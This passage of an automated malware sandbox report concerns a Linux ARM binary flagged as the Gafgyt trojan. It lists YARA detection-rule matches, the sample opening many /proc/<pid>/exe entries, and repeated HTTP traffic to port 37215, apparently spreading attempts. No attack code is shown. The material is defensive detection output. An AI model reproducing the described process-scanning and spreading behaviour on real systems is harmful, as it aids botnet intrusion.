Source: Process Memory Space: ewe.arm.elf PID: 5587, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5589, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5589, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5590, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5592, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5592, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5597, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5597, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: ewe.arm.elf PID: 5599, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@2/0

Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3760/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3761/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/2672/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1583/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3244/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3120/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3361/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3759/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3239/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1577/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1610/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/512/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1299/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3235/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/514/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/519/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/5417/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/2946/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/917/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3758/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3134/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1593/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3011/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3094/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3406/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1589/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3129/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1588/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3402/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3125/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3246/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3245/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/767/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/800/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/888/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/801/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/769/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/803/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/806/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/807/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/928/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/2956/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/5561/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/5166/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3420/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/490/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3142/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1635/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1633/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1599/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3139/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1873/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1630/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3412/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/657/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/658/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/659/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/418/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/419/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1639/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/5559/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1638/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3398/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1371/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3392/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/780/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/660/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/661/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/782/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1369/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3304/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3425/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/785/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1642/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/940/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/941/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1640/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3147/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3268/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1364/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/548/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1647/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/5587/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/2991/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1383/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1382/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1381/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/791/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/671/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/794/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1655/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/795/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/674/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1653/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/797/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/2983/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3159/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/678/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1650/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3157/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/679/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3674/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/1659/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3319/exe	Jump to behavior
Source: /tmp/ewe.arm.elf (PID: 5583)	File opened: /proc/3178/exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58634 -> 37215
